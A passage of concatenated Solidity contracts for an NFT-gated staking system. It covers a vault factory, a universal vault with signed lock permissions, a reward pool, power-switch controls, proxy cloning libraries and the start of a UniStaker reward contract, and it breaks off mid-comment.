private _instanceSet; /* view functions */ function isInstance(address instance) external view override returns (bool validity) { return _instanceSet.contains(instance); } function instanceCount() external view override returns (uint256 count) { return _instanceSet.length(); } function instanceAt(uint256 index) external view override returns (address instance) { return _instanceSet.at(index); } /* admin functions */ function _register(address instance) internal { require(_instanceSet.add(instance), "InstanceRegistry: already registered"); emit InstanceAdded(instance); } } // SPDX-License-Identifier: GPL-3.0-only pragma solidity 0.7.6; import {SafeMath} from "@openzeppelin/contracts/math/SafeMath.sol"; import {ERC721} from "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol"; import {IFactory} from "../factory/IFactory.sol"; import {IInstanceRegistry} from "../factory/InstanceRegistry.sol"; import {ProxyFactory} from "../factory/ProxyFactory.sol"; import {IUniversalVault} from "./MethodVault.sol"; /// @title MethodNFTFactory contract MethodNFTFactory is Ownable, IFactory, IInstanceRegistry, ERC721 { using SafeMath for uint256; bytes32[] public names; mapping(bytes32=>address) public templates; bytes32 public activeTemplate; uint256 public tokenSerialNumber; mapping(uint256=>uint256) public serialNumberToTokenId; mapping(uint256=>uint256) public tokenIdToSerialNumber; mapping(address=>address[]) private ownerToVaultsMap; event TemplateAdded(bytes32 indexed name, address indexed template); event TemplateActive(bytes32 indexed name, address indexed template); constructor() ERC721("MethodNFT", "MTHDNFT") { ERC721._setBaseURI("https://api.methodfi.co/nft/"); } function addTemplate(bytes32 name, address template) public onlyOwner { require(templates[name] == address(0), "Template already exists"); templates[name] = template; if(names.length == 0) { activeTemplate = name; emit TemplateActive(name, template); } names.push(name); emit TemplateAdded(name, template); } function setActive(bytes32 name) public onlyOwner { require(templates[name] != address(0), "Template does not exist"); activeTemplate = name; emit TemplateActive(name, templates[name]); } /* registry functions */ function isInstance(address instance) external view override returns (bool validity) { return ERC721._exists(uint256(instance)); } function instanceCount() external view override returns (uint256 count) { return ERC721.totalSupply(); } function instanceAt(uint256 index) external view override returns (address instance) { return address(ERC721.tokenByIndex(index)); } /* factory functions */ function create(bytes calldata) external override returns (address vault) { return createSelected(activeTemplate); } function create2(bytes calldata, bytes32 salt) external override returns (address vault) { return createSelected2(activeTemplate, salt); } function create() public returns (address vault) { return createSelected(activeTemplate); } function create2(bytes32 salt) public returns (address vault) { return createSelected2(activeTemplate, salt); } function createSelected(bytes32 name) public returns (address vault) { // create clone and initialize vault = ProxyFactory._create( templates[name], abi.encodeWithSelector(IUniversalVault.initialize.selector) ); // mint nft to caller uint256 tokenId = uint256(vault); ERC721._safeMint(msg.sender, tokenId); // push vault to owner's map ownerToVaultsMap[msg.sender].push(vault); // update serial number tokenSerialNumber = tokenSerialNumber.add(1); serialNumberToTokenId[tokenSerialNumber] = tokenId; tokenIdToSerialNumber[tokenId] = tokenSerialNumber; // emit event emit InstanceAdded(vault); // explicit return return vault; } function createSelected2(bytes32 name, bytes32 salt) public returns (address vault) { // create clone and initialize vault = ProxyFactory._create2( templates[name], abi.encodeWithSelector(IUniversalVault.initialize.selector), salt ); // mint nft to caller uint256 tokenId = uint256(vault); ERC721._safeMint(msg.sender, tokenId); // push vault to owner's map ownerToVaultsMap[msg.sender].push(vault); // update serial number tokenSerialNumber = tokenSerialNumber.add(1); serialNumberToTokenId[tokenSerialNumber] = tokenId; tokenIdToSerialNumber[tokenId] = tokenSerialNumber; // emit event emit InstanceAdded(vault); // explicit return return vault; } /* getter functions */ function nameCount() public view returns(uint256) { return names.length; } function vaultCount(address owner) public view returns(uint256) { return ownerToVaultsMap[owner].length; } function getVault(address owner, uint256 index) public view returns (address) { return ownerToVaultsMap[owner][index]; } function getAllVaults(address owner) public view returns (address [] memory) { return ownerToVaultsMap[owner]; } function getTemplate() external view returns (address) { return templates[activeTemplate]; } function getVaultOfNFT(uint256 nftId) public pure returns (address) { return address(nftId); } function getNFTOfVault(address vault) public pure returns (uint256) { return uint256(vault); } } // SPDX-License-Identifier: GPL-3.0-only pragma solidity 0.7.6; import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol"; import {TransferHelper} from "@uniswap/lib/contracts/libraries/TransferHelper.sol"; import {Powered} from "./Powered.sol"; interface IRewardPool { function sendERC20( address token, address to, uint256 value ) external; function rescueERC20(address[] calldata tokens, address recipient) external; } /// @title Reward Pool /// @notice Vault for isolated storage of reward tokens contract RewardPool is IRewardPool, Powered, Ownable { /* initializer */ constructor(address powerSwitch) { Powered._setPowerSwitch(powerSwitch); } /* user functions */ /// @notice Send an ERC20 token /// access control: only owner /// state machine: /// - can be called multiple times /// - only online /// state scope: none /// token transfer: transfer tokens from self to recipient /// @param token address The token to send /// @param to address The recipient to send to /// @param value uint256 Amount of tokens to send function sendERC20( address token, address to, uint256 value ) external override onlyOwner onlyOnline { TransferHelper.safeTransfer(token, to, value); } /* emergency functions */ /// @notice Rescue multiple ERC20 tokens /// access control: only power controller /// state machine: /// - can be called multiple times /// - only shutdown /// state scope: none /// token transfer: transfer tokens from self to recipient /// @param tokens address[] The tokens to rescue /// @param recipient address The recipient to rescue to function rescueERC20(address[] calldata tokens, address recipient) external override onlyShutdown { // only callable by controller require( msg.sender == Powered.getPowerController(), "RewardPool: only controller can withdraw after shutdown" ); // assert recipient is defined require(recipient != address(0), "RewardPool: recipient not defined"); // transfer tokens for (uint256 index = 0; index < tokens.length; index++) { // get token address token = tokens[index]; // get balance uint256 balance = IERC20(token).balanceOf(address(this)); // transfer token TransferHelper.safeTransfer(token, recipient, balance); } } } // SPDX-License-Identifier: GPL-3.0-only pragma solidity 0.7.6; import {IPowerSwitch} from "./PowerSwitch.sol"; interface IPowered { function isOnline() external view returns (bool status); function isOffline() external view returns (bool status); function isShutdown() external view returns (bool status); function getPowerSwitch() external view returns (address powerSwitch); function getPowerController() external view returns (address controller); } /// @title Powered /// @notice Helper for calling external PowerSwitch contract Powered is IPowered { /* storage */ address private _powerSwitch; /* modifiers */ modifier onlyOnline() { require(isOnline(), "Powered: is not online"); _; } modifier onlyOffline() { require(isOffline(), "Powered: is not offline"); _; } modifier notShutdown() { require(!isShutdown(), "Powered: is shutdown"); _; } modifier onlyShutdown() { require(isShutdown(), "Powered: is not shutdown"); _; } /* initializer */ function _setPowerSwitch(address powerSwitch) internal { _powerSwitch = powerSwitch; } /* getter functions */ function isOnline() public view override returns (bool status) { return IPowerSwitch(_powerSwitch).isOnline(); } function isOffline() public view override returns (bool status) { return IPowerSwitch(_powerSwitch).isOffline(); } function isShutdown() public view override returns (bool status) { return IPowerSwitch(_powerSwitch).isShutdown(); } function getPowerSwitch() public view override returns (address powerSwitch) { return _powerSwitch; } function getPowerController() public view override returns (address controller) { return IPowerSwitch(_powerSwitch).getPowerController(); } } // SPDX-License-Identifier: GPL-3.0-only pragma solidity 0.7.6; interface IERC2917 { /// @dev This emits when interests amount per block is changed by the owner of the contract. /// It emits with the old interests amount and the new interests amount. event InterestRatePerBlockChanged (uint oldValue, uint newValue); /// @dev This emits when a users' productivity has changed /// It emits with the user's address and the the value after the change. event ProductivityIncreased (address indexed user, uint value); /// @dev This emits when a users' productivity has changed /// It emits with the user's address and the the value after the change. event ProductivityDecreased (address indexed user, uint value); function initialize() external; /// @dev Note best practice will be to restrict the caller to staking contract address. function setImplementor(address newImplementor) external; /// @dev Return the current contract's interest rate per block. /// @return The amount of interests currently producing per each block. function interestsPerBlock() external view returns (uint); /// @notice Change the current contract's interest rate. /// @dev Note best practice will be to restrict the caller to staking contract address. /// @return The true/fase to notice that the value has successfully changed or not, when it succeeds, it will emit the InterestRatePerBlockChanged event. function changeInterestRatePerBlock(uint value) external returns (bool); /// @notice It will get the productivity of a given user. /// @dev it will return 0 if user has no productivity in the contract. /// @return user's productivity and overall productivity. function getProductivity(address user) external view returns (uint, uint); /// @notice increase a user's productivity. /// @dev Note best practice will be to restrict the caller to staking contract address. /// @return productivity added status as well as interest earned prior period and total productivity function increaseProductivity(address user, uint value) external returns (bool, uint, uint); /// @notice decrease a user's productivity. /// @dev Note best practice will be to restrict the caller to staking contract address. /// @return productivity removed status as well as interest earned prior period and total productivity function decreaseProductivity(address user, uint value) external returns (bool, uint, uint); /// @notice take() will return the interest that callee will get at current block height. /// @dev it will always be calculated by block.number, so it will change when block height changes. /// @return amount of the interest that user is able to mint() at current block height. function take() external view returns (uint); /// @notice similar to take(), but with the block height joined to calculate return. /// @dev for instance, it returns (_amount, _block), which means at block height _block, the callee has accumulated _amount of interest. /// @return amount of interest and the block height. function takeWithBlock() external view returns (uint, uint); /// @notice mint the avaiable interests to callee. /// @dev once it mints, the amount of interests will transfer to callee's address. /// @return the amount of interest minted. function mint() external returns (uint); } // SPDX-License-Identifier: MIT pragma solidity 0.7.6; import {Clones} from "@openzeppelin/contracts/proxy/Clones.sol"; library ProxyFactory { /* functions */ function _create(address logic, bytes memory data) internal returns (address proxy) { // deploy clone proxy = Clones.clone(logic); // attempt initialization if (data.length > 0) { (bool success, bytes memory err) = proxy.call(data); require(success, string(err)); } // explicit return return proxy; } function _create2( address logic, bytes memory data, bytes32 salt ) internal returns (address proxy) { // deploy clone proxy = Clones.cloneDeterministic(logic, salt); // attempt initialization if (data.length > 0) { (bool success, bytes memory err) = proxy.call(data); require(success, string(err)); } // explicit return return proxy; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // SPDX-License-Identifier: GPL-3.0-only pragma solidity 0.7.6; pragma abicoder v2; import {SafeMath} from "@openzeppelin/contracts/math/SafeMath.sol"; import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import {ERC721} from "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import {Initializable} from "@openzeppelin/contracts/proxy/Initializable.sol"; import {EnumerableSet} from "@openzeppelin/contracts/utils/EnumerableSet.sol"; import {Address} from "@openzeppelin/contracts/utils/Address.sol"; import {TransferHelper} from "@uniswap/lib/contracts/libraries/TransferHelper.sol"; import {EIP712} from "./EIP712.sol"; import {ERC1271} from "./ERC1271.sol"; import {OwnableByERC721} from "./OwnableByERC721.sol"; import {IRageQuit} from "../staking/UniStaker.sol"; interface IUniversalVault { /* user events */ event Locked(address delegate, address token, uint256 amount); event Unlocked(address delegate, address token, uint256 amount); event RageQuit(address delegate, address token, bool notified, string reason); /* data types */ struct LockData { address delegate; address token; uint256 balance; } /* initialize function */ function initialize() external; /* user functions */ function lock( address token, uint256 amount, bytes calldata permission ) external; function unlock( address token, uint256 amount, bytes calldata permission ) external; function rageQuit(address delegate, address token) external returns (bool notified, string memory error); function transferERC20( address token, address to, uint256 amount ) external; function transferETH(address to, uint256 amount) external payable; /* pure functions */ function calculateLockID(address delegate, address token) external pure returns (bytes32 lockID); /* getter functions */ function getPermissionHash( bytes32 eip712TypeHash, address delegate, address token, uint256 amount, uint256 nonce ) external view returns (bytes32 permissionHash); function getNonce() external view returns (uint256 nonce); function owner() external view returns (address ownerAddress); function getLockSetCount() external view returns (uint256 count); function getLockAt(uint256 index) external view returns (LockData memory lockData); function getBalanceDelegated(address token, address delegate) external view returns (uint256 balance); function getBalanceLocked(address token) external view returns (uint256 balance); function checkBalances() external view returns (bool validity); } /// @title MethodVault /// @notice Vault for isolated storage of staking tokens /// @dev Warning: not compatible with rebasing tokens contract MethodVault is IUniversalVault, EIP712("UniversalVault", "1.0.0"), ERC1271, OwnableByERC721, Initializable { using SafeMath for uint256; using Address for address; using Address for address payable; using EnumerableSet for EnumerableSet.Bytes32Set; /* constant */ // Hardcoding a gas limit for rageQuit() is required to prevent gas DOS attacks // the gas requirement cannot be determined at runtime by querying the delegate // as it could potentially be manipulated by a malicious delegate who could force // the calls to revert. // The gas limit could alternatively be set upon vault initialization or creation // of a lock, but the gas consumption trade-offs are not favorable. // Ultimately, to avoid a need for fixed gas limits, the EVM would need to provide // an error code that allows for reliably catching out-of-gas errors on remote calls. uint256 public constant RAGEQUIT_GAS = 500000; bytes32 public constant LOCK_TYPEHASH = keccak256("Lock(address delegate,address token,uint256 amount,uint256 nonce)"); bytes32 public constant UNLOCK_TYPEHASH = keccak256("Unlock(address delegate,address token,uint256 amount,uint256 nonce)"); string public constant VERSION = "1.0.0"; /* storage */ uint256 private _nonce; mapping(bytes32 => LockData) private _locks; EnumerableSet.Bytes32Set private _lockSet; /* initialization function */ function initializeLock() external initializer {} function initialize() external override initializer { OwnableByERC721._setNFT(msg.sender); } /* ether receive */ receive() external payable {} /* internal overrides */ function _getOwner() internal view override(ERC1271) returns (address ownerAddress) { return OwnableByERC721.owner(); } /* pure functions */ function calculateLockID(address delegate, address token) public pure override returns (bytes32 lockID) { return keccak256(abi.encodePacked(delegate, token)); } /* getter functions */ function getPermissionHash( bytes32 eip712TypeHash, address delegate, address token, uint256 amount, uint256 nonce ) public view override returns (bytes32 permissionHash) { return EIP712._hashTypedDataV4( keccak256(abi.encode(eip712TypeHash, delegate, token, amount, nonce)) ); } function getNonce() external view override returns (uint256 nonce) { return _nonce; } function owner() public view override(IUniversalVault, OwnableByERC721) returns (address ownerAddress) { return OwnableByERC721.owner(); } function getLockSetCount() external view override returns (uint256 count) { return _lockSet.length(); } function getLockAt(uint256 index) external view override returns (LockData memory lockData) { return _locks[_lockSet.at(index)]; } function getBalanceDelegated(address token, address delegate) external view override returns (uint256 balance) { return _locks[calculateLockID(delegate, token)].balance; } function getBalanceLocked(address token) public view override returns (uint256 balance) { uint256 count = _lockSet.length(); for (uint256 index; index < count; index++) { LockData storage _lockData = _locks[_lockSet.at(index)]; if (_lockData.token == token && _lockData.balance > balance) balance = _lockData.balance; } return balance; } function checkBalances() external view override returns (bool validity) { // iterate over all token locks and validate sufficient balance uint256 count = _lockSet.length(); for (uint256 index; index < count; index++) { // fetch storage lock reference LockData storage _lockData = _locks[_lockSet.at(index)]; // if insufficient balance and not shutdown, return false if (IERC20(_lockData.token).balanceOf(address(this)) < _lockData.balance) return false; } // if sufficient balance or shutdown, return true return true; } /* user functions */ /// @notice Lock ERC20 tokens in the vault /// access control: called by delegate with signed permission from owner /// state machine: anytime /// state scope: /// - insert or update _locks /// - increase _nonce /// token transfer: none /// @param token Address of token being locked /// @param amount Amount of tokens being locked /// @param permission Permission signature payload function lock( address token, uint256 amount, bytes calldata permission ) external override onlyValidSignature( getPermissionHash(LOCK_TYPEHASH, msg.sender, token, amount, _nonce), permission ) { // get lock id bytes32 lockID = calculateLockID(msg.sender, token); // add lock to storage if (_lockSet.contains(lockID)) { // if lock already exists, increase amount _locks[lockID].balance = _locks[lockID].balance.add(amount); } else { // if does not exist, create new lock // add lock to set assert(_lockSet.add(lockID)); // add lock data to storage _locks[lockID] = LockData(msg.sender, token, amount); } // validate sufficient balance require( IERC20(token).balanceOf(address(this)) >= _locks[lockID].balance, "UniversalVault: insufficient balance" ); // increase nonce _nonce += 1; // emit event emit Locked(msg.sender, token, amount); } /// @notice Unlock ERC20 tokens in the vault /// access control: called by delegate with signed permission from owner /// state machine: after valid lock from delegate /// state scope: /// - remove or update _locks /// - increase _nonce /// token transfer: none /// @param token Address of token being unlocked /// @param amount Amount of tokens being unlocked /// @param permission Permission signature payload function unlock( address token, uint256 amount, bytes calldata permission ) external override onlyValidSignature( getPermissionHash(UNLOCK_TYPEHASH, msg.sender, token, amount, _nonce), permission ) { // get lock id bytes32 lockID = calculateLockID(msg.sender, token); // validate existing lock require(_lockSet.contains(lockID), "UniversalVault: missing lock"); // update lock data if (_locks[lockID].balance > amount) { // substract amount from lock balance _locks[lockID].balance = _locks[lockID].balance.sub(amount); } else { // delete lock data delete _locks[lockID]; assert(_lockSet.remove(lockID)); } // increase nonce _nonce += 1; // emit event emit Unlocked(msg.sender, token, amount); } /// @notice Forcibly cancel delegate lock /// @dev This function will attempt to notify the delegate of the rage quit using a fixed amount of gas. /// access control: only owner /// state machine: after valid lock from delegate /// state scope: /// - remove item from _locks /// token transfer: none /// @param delegate Address of delegate /// @param token Address of token being unlocked function rageQuit(address delegate, address token) external override onlyOwner returns (bool notified, string memory error) { // get lock id bytes32 lockID = calculateLockID(delegate, token); // validate existing lock require(_lockSet.contains(lockID), "UniversalVault: missing lock"); // attempt to notify delegate if (delegate.isContract()) { // check for sufficient gas require(gasleft() >= RAGEQUIT_GAS, "UniversalVault: insufficient gas"); // attempt rageQuit notification try IRageQuit(delegate).rageQuit{gas: RAGEQUIT_GAS}() { notified = true; } catch Error(string memory res) { notified = false; error = res; } catch (bytes memory) { notified = false; } } // update lock storage assert(_lockSet.remove(lockID)); delete _locks[lockID]; // emit event emit RageQuit(delegate, token, notified, error); } /// @notice Transfer ERC20 tokens out of vault /// access control: only owner /// state machine: when balance >= max(lock) + amount /// state scope: none /// token transfer: transfer any token /// @param token Address of token being transferred /// @param to Address of the recipient /// @param amount Amount of tokens to transfer function transferERC20( address token, address to, uint256 amount ) external override onlyOwner { // check for sufficient balance require( IERC20(token).balanceOf(address(this)) >= getBalanceLocked(token).add(amount), "UniversalVault: insufficient balance" ); // perform transfer TransferHelper.safeTransfer(token, to, amount); } /// @notice Transfer ERC20 tokens out of vault /// access control: only owner /// state machine: when balance >= amount /// state scope: none /// token transfer: transfer any token /// @param to Address of the recipient /// @param amount Amount of ETH to transfer function transferETH(address to, uint256 amount) external payable override onlyOwner { // perform transfer TransferHelper.safeTransferETH(to, amount); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev https://eips.ethereum.org/EIPS/eip-1167[EIP 1167] is a standard for * deploying minimal proxy contracts, also known as "clones". * * > To simply and cheaply clone contract functionality in an immutable way, this standard specifies * > a minimal bytecode implementation that delegates all calls to a known, fixed address. * * The library includes functions to deploy a proxy using either `create` (traditional deployment) or `create2` * (salted deterministic deployment). It also includes functions to predict the addresses of clones deployed using the * deterministic method. * * _Available since v3.4._ */ library Clones { /** * @dev Deploys and returns the address of a clone that mimics the behaviour of `master`. * * This function uses the create opcode, which should never revert. */ function clone(address master) internal returns (address instance) { // solhint-disable-next-line no-inline-assembly assembly { let ptr := mload(0x40) mstore(ptr, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000) mstore(add(ptr, 0x14), shl(0x60, master)) mstore(add(ptr, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000) instance := create(0, ptr, 0x37) } require(instance != address(0), "ERC1167: create failed"); } /** * @dev Deploys and returns the address of a clone that mimics the behaviour of `master`. * * This function uses the create2 opcode and a `salt` to deterministically deploy * the clone. Using the same `master` and `salt` multiple time will revert, since * the clones cannot be deployed twice at the same address. */ function cloneDeterministic(address master, bytes32 salt) internal returns (address instance) { // solhint-disable-next-line no-inline-assembly assembly { let ptr := mload(0x40) mstore(ptr, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000) mstore(add(ptr, 0x14), shl(0x60, master)) mstore(add(ptr, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000) instance := create2(0, ptr, 0x37, salt) } require(instance != address(0), "ERC1167: create2 failed"); } /** * @dev Computes the address of a clone deployed using {Clones-cloneDeterministic}. */ function predictDeterministicAddress(address master, bytes32 salt, address deployer) internal pure returns (address predicted) { // solhint-disable-next-line no-inline-assembly assembly { let ptr := mload(0x40) mstore(ptr, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000) mstore(add(ptr, 0x14), shl(0x60, master)) mstore(add(ptr, 0x28), 0x5af43d82803e903d91602b57fd5bf3ff00000000000000000000000000000000) mstore(add(ptr, 0x38), shl(0x60, deployer)) mstore(add(ptr, 0x4c), salt) mstore(add(ptr, 0x6c), keccak256(ptr, 0x37)) predicted := keccak256(add(ptr, 0x37), 0x55) } } /** * @dev Computes the address of a clone deployed using {Clones-cloneDeterministic}. */ function predictDeterministicAddress(address master, bytes32 salt) internal view returns (address predicted) { return predictDeterministicAddress(master, salt, address(this)); } } // SPDX-License-Identifier: GPL-3.0-only pragma solidity 0.7.6; pragma abicoder v2; import {SafeMath} from "@openzeppelin/contracts/math/SafeMath.sol"; import {EnumerableSet} from "@openzeppelin/contracts/utils/EnumerableSet.sol"; import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import {TransferHelper} from "@uniswap/lib/contracts/libraries/TransferHelper.sol"; import {IFactory} from "../factory/IFactory.sol"; import {IInstanceRegistry} from "../factory/InstanceRegistry.sol"; import {IUniversalVault} from "../methodNFT/MethodVault.sol"; import {MethodNFTFactory} from "../methodNFT/MethodNFTFactory.sol"; import {IRewardPool} from "./RewardPool.sol"; import {Powered} from "./Powered.sol"; import {IERC2917} from "./IERC2917.sol"; import {ProxyFactory} from "../factory/ProxyFactory.sol"; interface IRageQuit { function rageQuit() external; } interface IUniStaker is IRageQuit { /* admin events */ event UniStakerCreated(address rewardPool, address powerSwitch); event UniStakerFunded(address token, uint256 amount); event BonusTokenRegistered(address token); event BonusTokenRemoved(address token); event VaultFactoryRegistered(address factory); event VaultFactoryRemoved(address factory); event AdminshipTransferred(address indexed previousAdmin, address indexed newAdmin); /* user events */ event Staked(address vault, uint256 amount); event Unstaked(address vault, uint256 amount); event RageQuit(address vault); event RewardClaimed(address vaultFactory, address recipient, address token, uint256 amount); event VestedRewardClaimed(address recipient, address token, uint amount); /* data types */ struct VaultData { // token address to total token stake mapping mapping(address => uint) tokenStake; EnumerableSet.AddressSet tokens; } struct LMRewardData { uint256 amount; uint256 duration; uint256 startedAt; address rewardCalcInstance; EnumerableSet.AddressSet bonusTokens; mapping(address => uint) bonusTokenAmounts; } struct LMRewardVestingData { uint amount; uint startedAt; } /* getter functions */ function getBonusTokenSetLength() external view returns (uint256 length); function getBonusTokenAtIndex(uint256 index) external view returns (address bonusToken); function getVaultFactorySetLength() external view returns (uint256 length); function getVaultFactoryAtIndex(uint256 index) external view returns (address factory); function getNumVaults() external view returns (uint256 num); function getVaultAt(uint256 index) external view returns (address vault); function getNumTokensStaked() external view returns (uint256 num); function getTokenStakedAt(uint256 index) external view returns (address token); function getNumTokensStakedInVault(address vault) external view returns (uint256 num); function getVaultTokenAtIndex(address vault, uint256 index) external view returns (address vaultToken); function getVaultTokenStake(address vault, address token) external view returns (uint256 tokenStake); function getLMRewardData(address token) external view returns (uint amount, uint duration, uint startedAt, address rewardCalcInstance); function getLMRewardBonusTokensLength(address token) external view returns (uint length); function getLMRewardBonusTokenAt(address token, uint index) external view returns (address bonusToken, uint bonusTokenAmount); function getNumVestingLMTokenRewards(address user) external view returns (uint num); function getVestingLMTokenAt(address user, uint index) external view returns (address token); function getNumVests(address user, address token) external view returns (uint num); function getNumRewardCalcTemplates() external view returns (uint num); function getLMRewardVestingData(address user, address token, uint index) external view returns (uint amount, uint startedAt); function isValidAddress(address target) external view returns (bool validity); function isValidVault(address vault, address factory) external view returns (bool validity); /* user functions */ function stake( address vault, address vaultFactory, address token, uint256 amount, bytes calldata permission ) external; function unstakeAndClaim( address vault, address vaultFactory, address recipient, address token, uint256 amount, bool claimBonusReward, bytes calldata permission ) external; function claimAirdropReward(address nftFactory) external; function claimAirdropReward(address nftFactory, uint256[] calldata tokenIds) external; function claimVestedReward() external; function claimVestedReward(address token) external; } /// @title UniStaker /// @notice Reward distribution contract /// Access Control /// - Power controller: /// Can power off / shutdown the UniStaker /// Can withdraw rewards from reward pool once shutdown /// - Owner: /// Is unable to operate on user funds due to UniversalVault /// Is unable to operate on reward pool funds when reward pool is offline / shutdown /// - UniStaker admin: /// Can add funds to the UniStaker, register bonus tokens, and whitelist new vault factories /// Is a subset of owner permissions /// - User: /// Can stake / unstake / ragequit / claim airdrop / claim vested rewards /// UniStaker State Machine /// - Online: /// UniStaker is operating normally, all functions are enabled /// - Offline: /// UniStaker is temporarely disabled for maintenance /// User staking and unstaking is disabled, ragequit remains enabled /// Users can delete their stake through rageQuit() but forego their pending reward /// Should only be used when downtime required for an upgrade /// - Shutdown: /// UniStaker is permanently disabled /// All functions are disabled with the exception of ragequit /// Users can delete their stake through rageQuit() /// Power controller can withdraw from the reward pool /// Should only be used if Owner role is compromised contract UniStaker is IUniStaker, Powered { using SafeMath for uint256; using EnumerableSet for EnumerableSet.AddressSet; /* constants */ string public constant PLATINUM = "PLATINUM"; string public constant GOLD = "GOLD"; string public constant MINT = "MINT"; string public constant BLACK = "BLACK"; uint public PLATINUM_LM_REWARD_MULTIPLIER_NUM = 5; uint public PLATINUM_LM_REWARD_MULTIPLIER_DENOM = 2; uint public GOLD_LM_REWARD_MULTIPLIER_NUM = 2; uint public GOLD_LM_REWARD_MULTIPLIER_DENOM = 1; uint public MINT_LM_REWARD_MULTIPLIER_NUM = 3; uint public MINT_LM_REWARD_MULTIPLIER_DENOM = 2; uint public BLACK_LM_REWARD_MULTIPLIER_NUM = 1; uint public BLACK_LM_REWARD_MULTIPLIER_DENOM = 1; uint public LM_REWARD_VESTING_PERIOD = 7776000; // 3 months uint public LM_REWARD_VESTING_PORTION_NUM = 1; uint public LM_REWARD_VESTING_PORTION_DENOM = 2; // An upper bound on the number of active tokens staked per vault is required to prevent // calls to rageQuit() from reverting. // With 30 tokens staked in a vault, ragequit costs 432811 gas which is conservatively lower // than the hardcoded limit of 500k gas on the vault. // This limit is configurable and could be increased in a future deployment. // Ultimately, to avoid a need for fixed upper bounds, the EVM would need to provide // an error code that allows for reliably catching out-of-gas errors on remote calls. uint256 public MAX_TOKENS_STAKED_PER_VAULT = 30; uint256 public MAX_BONUS_TOKENS = 50; uint256 public MIN_AIRDROP_REWARD_CLAIM_FREQUENCY = 604800; // week in seconds /* storage */ address public admin; address public rewardToken; address public rewardPool; EnumerableSet.AddressSet private _vaultSet; mapping(address => VaultData) private _vaults; EnumerableSet.AddressSet private _bonusTokenSet; EnumerableSet.AddressSet private _vaultFactorySet; EnumerableSet.AddressSet private _allStakedTokens; mapping(address => uint256) public stakedTokenTotal; mapping(address => LMRewardData) private lmRewards; // user to token to earned reward mapping mapping(address => mapping(address => uint)) public earnedLMRewards; // user to token to vesting data mapping mapping(address => mapping(address => LMRewardVestingData[])) public vestingLMRewards; // user to vesting lm token rewards set mapping(address => EnumerableSet.AddressSet) private vestingLMTokenRewards; // nft tier to amount mapping(string => uint256) public weeklyAirdropAmounts; mapping(string => uint256) public balancesRequiredToClaim; // nft id to timestamp mapping(uint256 => uint256) public nftLastClaimedRewardAt; // erc2917 template names string[] public rewardCalcTemplateNames; // erc2917 template names to erc 2917 templates mapping(string => address) public rewardCalcTemplates; string public activeRewardCalcTemplate; event RewardCalcTemplateAdded(string indexed name, address indexed template); event RewardCalcTemplateActive(string indexed name, address indexed template); /* initializer */ /// @notice Initizalize UniStaker /// access control: only proxy constructor /// state machine: can only be called once /// state scope: set initialization variables /// token transfer: none /// @param adminAddress address The admin address /// @param rewardPoolFactory address The factory to use for deploying the RewardPool /// @param powerSwitchFactory address The factory to use for deploying the PowerSwitch /// @param rewardTokenAddress address The address of the reward token for this UniStaker constructor( address adminAddress, address rewardPoolFactory, address powerSwitchFactory, address rewardTokenAddress ) { // deploy power switch address powerSwitch = IFactory(powerSwitchFactory).create(abi.encode(adminAddress)); // deploy reward pool rewardPool = IFactory(rewardPoolFactory).create(abi.encode(powerSwitch)); // set internal config admin = adminAddress; rewardToken = rewardTokenAddress; Powered._setPowerSwitch(powerSwitch); weeklyAirdropAmounts[PLATINUM] = uint256(166).mul(1e18); weeklyAirdropAmounts[GOLD] = uint256(18).mul(1e18); weeklyAirdropAmounts[MINT] = uint256(4).mul(1e18); balancesRequiredToClaim[PLATINUM] = uint256(166).mul(1e18); balancesRequiredToClaim[GOLD] = uint256(18).mul(1e18); balancesRequiredToClaim[MINT] = uint256(4).mul(1e18); // emit event emit UniStakerCreated(rewardPool, powerSwitch); } /* admin functions */ function _admin() private view { require(msg.sender == admin, "not allowed"); } /** * @dev Leaves the contract without admin. It will not be possible to call * `admin` functions anymore. Can only be called by the current admin. * * NOTE: Renouncing adminship will leave the contract without an admin, * thereby removing any functionality that is only available to the admin. */ function renounceAdminship() public { _admin(); emit AdminshipTransferred(admin, address(0)); admin = address(0); } /** * @dev Transfers adminship of the contract to a new account (`newAdmin`). * Can only be called by the current admin. */ function transferAdminship(address newAdmin) public { _admin(); require(newAdmin != address(0), "new admin can't the zero address"); emit AdminshipTransferred(admin, newAdmin); admin = newAdmin; } /// @notice Add funds to UniStaker /// access control: only admin /// state machine: /// - can be called multiple times /// - only online /// state scope: /// - none /// token transfer: transfer staking tokens from msg.sender to reward pool 